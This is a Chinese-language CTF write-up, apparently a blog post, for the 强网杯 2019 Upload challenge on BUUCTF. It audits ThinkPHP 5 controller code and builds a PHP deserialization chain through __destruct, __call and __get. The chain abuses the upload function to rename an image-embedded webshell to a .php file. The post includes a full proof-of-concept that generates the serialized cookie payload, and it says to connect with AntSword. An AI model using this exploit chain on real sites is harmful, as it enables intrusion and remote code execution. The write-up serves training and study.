[BUUCTF][强网杯 2019]Upload

考点

代码审计

反序列化

解题

信息搜集

首先打开是一个登录框,尝试sql无果

image-20211227103816167

注册登录,发现一个文件上传页面

image-20211227104719238

先试试文件上传,会将jpg文件转换为png,文件名随机生成

dirsearch扫一下目录,有备份文件www.tar.gz

解压后是一个tp5的框架

代码审计

打开文件后有两个断点

application/web/controller/Index.php

image-20220101012716789

在访问大部分页面时都会调用到login_check方法,该方法将传入的用户信息反序列化,再到数据库中进行检查

application/web/controller/Register.php

image-20220101012658339

析构方法,判断是否注册,未注册则跳转到主页

再查看一下文件上传部分的代码

application/web/controller/Profile.php

public function upload_img(){
        if($this->checker){
            if(!$this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                $this->redirect($curr_url,302);
                exit();
            }
        }

        if(!empty($_FILES)){
            $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
            $this->filename=md5($_FILES['upload_file']['name']).".png";
            $this->ext_check();
        }
        if($this->ext) {
            if(getimagesize($this->filename_tmp)) {
                @copy($this->filename_tmp, $this->filename);
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }
    }

先检查是否登录,接着判断文件是否存在,再获取文件后缀,解析是否为正常图片,之后再将其从临时路径拷贝到目标路径

同时该文件下还有两个魔术方法

public function __get($name)
    {
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

我们可以利用反序列化和魔术方法来控制upload_img方法,从而任意更改文件名

首先构造一个Register类,通过反序列化调用析构函数,调用checker成员变量再调用index方法。

由于输出可控,我们将checker赋值为Profile对象,之后调用index方法就可以触发__call方法

此时我们调用this->index,访问一个不存在的属性就会触发__get方法

而expect参数可控,我们将Profile的成员变量except赋值为以index为数组键,upload_img()为键值的数组$except=['index'=>'upload_img']

因此在__call方法中,可以成功调用upload_img方法

 public function upload_img(){
        if($this->checker){
            if(!$this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                $this->redirect($curr_url,302);
                exit();
            }
        }

        if(!empty($_FILES)){
            $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
            $this->filename=md5($_FILES['upload_file']['name']).".png";
            $this->ext_check();
        }
        if($this->ext) {
            if(getimagesize($this->filename_tmp)) {
                @copy($this->filename_tmp, $this->filename);
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }
    }

进入函数,将checker赋值为0,绕过判断,再将ext赋值为1,此时把$filename_tmp赋值为上传的图片马的路径,而覆盖的文件名$filename赋值为以php结尾的文件

POC:

<?php
namespace app\web\controller;
class Profile
{
    public $checker=0;
    public $filename_tmp="../public/upload/cc551ab005b2e60fbdc88de809b2c4b1/f3ccdd27d2000e3f9255a7e3e2c48800.png";
    public $filename="../public/upload/cc551ab005b2e60fbdc88de809b2c4b1/snakin.php";
    public $ext=1;
    public $except=array('index'=>'upload_img');

}
class Register
{
    public $checker;
    public $registed=0;
}

$a=new Register();
$a->checker=new Profile();
echo base64_encode(serialize($a));

之后修改cookie,蚁剑连接即可

参考文章:

https://www.cnblogs.com/BOHB-yunying/p/11555858.html

  • 4
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Snakin_ya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值